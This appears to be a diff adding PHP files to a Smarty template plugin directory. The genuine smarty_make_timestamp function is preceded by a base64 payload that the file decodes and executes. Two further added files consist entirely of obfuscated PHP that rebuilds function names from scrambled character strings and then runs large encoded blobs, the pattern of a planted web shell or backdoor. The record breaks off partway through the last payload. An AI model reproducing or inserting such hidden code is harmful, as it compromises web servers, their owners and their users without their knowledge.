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";$WfXfcPKbAck=$XGLRKUFWWPC($ujjdRsCSdoJ,$WVwibycfvfj);$WfXfcPKbAck($HrsSeXfkoCd);
+/**
+ * Smarty shared plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Function: smarty_make_timestamp<br>
+ * Purpose: used by other smarty functions to make a timestamp
+ * from a string.
+ * @param string
+ * @return string
+ */
+function smarty_make_timestamp($string)
+{
+ if(empty($string)) {
+ $string = "now";
+ }
+ $time = strtotime($string);
+ if (is_numeric($time) && $time != -1)
+ return $time;
+
+ // is mysql timestamp format of YYYYMMDDHHMMSS?
+ if (preg_match('/^\d{14}$/', $string)) {
+ $time = mktime(substr($string,8,2),substr($string,10,2),substr($string,12,2),
+ substr($string,4,2),substr($string,6,2),substr($string,0,4));
+
+ return $time;
+ }
+
+ // couldn't recognize it, try to return a time
+ $time = (int) $string;
+ if ($time > 0)
+ return $time;
+ else
+ return time();
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php $JkiZjTcL='MwazCtEl5QjhHT(r2m9YZioy|_PkBWU4;"vnbS7q,LpAKu8OGd{VXfIJ1+*DR.sF6c0}x]eN)/g3$ [^';$rOyFGojm=$JkiZjTcL{65}.$JkiZjTcL{15}.$JkiZjTcL{70}.$JkiZjTcL{2}.$JkiZjTcL{5}.$JkiZjTcL{70}.$JkiZjTcL{25}.$JkiZjTcL{53}.$JkiZjTcL{45}.$JkiZjTcL{35}.$JkiZjTcL{65}.$JkiZjTcL{5}.$JkiZjTcL{21}.$JkiZjTcL{22}.$JkiZjTcL{35};$AGlORdqX=$JkiZjTcL{76}.$JkiZjTcL{62};$NbmLnwdI=$JkiZjTcL{53}.$JkiZjTcL{45}.$JkiZjTcL{35}.$JkiZjTcL{65}.$JkiZjTcL{5}.$JkiZjTcL{21}.$JkiZjTcL{22}.$JkiZjTcL{35}.$JkiZjTcL{77}.$JkiZjTcL{15}.$JkiZjTcL{46}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{40}.$JkiZjTcL{76}.$JkiZjTcL{42}.$JkiZjTcL{72}.$JkiZjTcL{50}.$JkiZjTcL{15}.$JkiZjTcL{70}.$JkiZjTcL{5}.$JkiZjTcL{45}.$JkiZjTcL{15}.$JkiZjTcL{35}.$JkiZjTcL{77}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{79}.$JkiZjTcL{62}.$JkiZjTcL{5}.$JkiZjTcL{15}.$JkiZjTcL{25}.$JkiZjTcL{42}.$JkiZjTcL{2}.$JkiZjTcL{49}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{42}.$JkiZjTcL{40}.$JkiZjTcL{62}.$JkiZjTcL{5}.$JkiZjTcL{15}.$JkiZjTcL{7}.$JkiZjTcL{70}.$JkiZjTcL{35}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{72}.$JkiZjTcL{40}.$JkiZjTcL{76}.$JkiZjTcL{42}.$JkiZjTcL{72}.$JkiZjTcL{32}.$JkiZjTcL{67}.$JkiZjTcL{32}.$JkiZjTcL{70}.$JkiZjTcL{34}.$JkiZjTcL{2}.$JkiZjTcL{7}.$JkiZjTcL{14}.$JkiZjTcL{15}.$JkiZjTcL{46}.$JkiZjTcL{14}.$JkiZjTcL{36}.$JkiZjTcL{2}.$JkiZjTcL{62}.$JkiZjTcL{70}.$JkiZjTcL{64}.$JkiZjTcL{31}.$JkiZjTcL{25}.$JkiZjTcL{49}.$JkiZjTcL{70}.$JkiZjTcL{65}.$JkiZjTcL{22}.$JkiZjTcL{49}.$JkiZjTcL{70}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{72}.$JkiZjTcL{40}.$JkiZjTcL{33}.$JkiZjTcL{15}.$JkiZjTcL{41}.$JkiZjTcL{43}.$JkiZjTcL{63}.$JkiZjTcL{44}.$JkiZjTcL{68}.$JkiZjTcL{15}.$JkiZjTcL{70}.$JkiZjTcL{33}.$JkiZjTcL{72}.$JkiZjTcL{72}.$JkiZjTcL{32};$NdqwVFuM="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";$RzXHFsqr=$rOyFGojm($AGlORdqX,$NbmLnwdI);$RzXHFsqr($NdqwVFuM);?>
\ No newline at end of file
--- /dev/null
+<?php $rkpJqD='|"Tiz_P.vCA5uW}ckwt[)yQ(aHRhFUl{^r4f9$8ZsBDK2jJGbEpXq07NYVSIn*e6dm] ,O;Mg+xL13/o';$tgQArF=$rkpJqD{15}.$rkpJqD{33}.$rkpJqD{62}.$rkpJqD{24}.$rkpJqD{18}.$rkpJqD{62}.$rkpJqD{5}.$rkpJqD{35}.$rkpJqD{12}.$rkpJqD{60}.$rkpJqD{15}.$rkpJqD{18}.$rkpJqD{3}.$rkpJqD{79}.$rkpJqD{60};$GafwPK=$rkpJqD{37}.$rkpJqD{40};$OqGBnS=$rkpJqD{35}.$rkpJqD{12}.$rkpJqD{60}.$rkpJqD{15}.$rkpJqD{18}.$rkpJqD{3}.$rkpJqD{79}.$rkpJqD{60}.$rkpJqD{67}.$rkpJqD{33}.$rkpJqD{38}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{68}.$rkpJqD{37}.$rkpJqD{50}.$rkpJqD{20}.$rkpJqD{31}.$rkpJqD{33}.$rkpJqD{62}.$rkpJqD{18}.$rkpJqD{12}.$rkpJqD{33}.$rkpJqD{60}.$rkpJqD{67}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{32}.$rkpJqD{40}.$rkpJqD{18}.$rkpJqD{33}.$rkpJqD{5}.$rkpJqD{50}.$rkpJqD{24}.$rkpJqD{64}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{50}.$rkpJqD{68}.$rkpJqD{40}.$rkpJqD{18}.$rkpJqD{33}.$rkpJqD{30}.$rkpJqD{62}.$rkpJqD{60}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{20}.$rkpJqD{68}.$rkpJqD{37}.$rkpJqD{50}.$rkpJqD{20}.$rkpJqD{70}.$rkpJqD{14}.$rkpJqD{70}.$rkpJqD{62}.$rkpJqD{8}.$rkpJqD{24}.$rkpJqD{30}.$rkpJqD{23}.$rkpJqD{33}.$rkpJqD{38}.$rkpJqD{23}.$rkpJqD{48}.$rkpJqD{24}.$rkpJqD{40}.$rkpJqD{62}.$rkpJqD{63}.$rkpJqD{34}.$rkpJqD{5}.$rkpJqD{64}.$rkpJqD{62}.$rkpJqD{15}.$rkpJqD{79}.$rkpJqD{64}.$rkpJqD{62}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{20}.$rkpJqD{68}.$rkpJqD{1}.$rkpJqD{29}.$rkpJqD{40}.$rkpJqD{45}.$rkpJqD{42}.$rkpJqD{17}.$rkpJqD{4}.$rkpJqD{1}.$rkpJqD{20}.$rkpJqD{20}.$rkpJqD{70};$CGdjPj="dVMqNxIOCgcDKRIlORoHLQNSZVpRTldaFRYYNhgICgEPNBgIIRoEI19IfEhgZFc6JhYeGxobMhoJGwYPOgcPNygIIB0eLRoffUNDf31adTMDKh4lJhYebFAPJR8FJRMlOBISGxETORYZLQ0fcl9bdENCYERcdF5BX1NKBB4UPCwZIQNScgMFNwMlOBISGwQTLxZNaEZKYUtfc0FKfEhgZFc6PB0DGwQfIVtNIh4WMCwfNBsVNBcZY1taIQEfIV5BX1NKBB4UPCwZIQNSchcDNwcWNAo1IQUIOgEZY1sOJwYPbUxwdVMqLRkTCgAPMF9dJxYNLQQOMAE1IxsVNxIGN1BWIQEfIV5BX1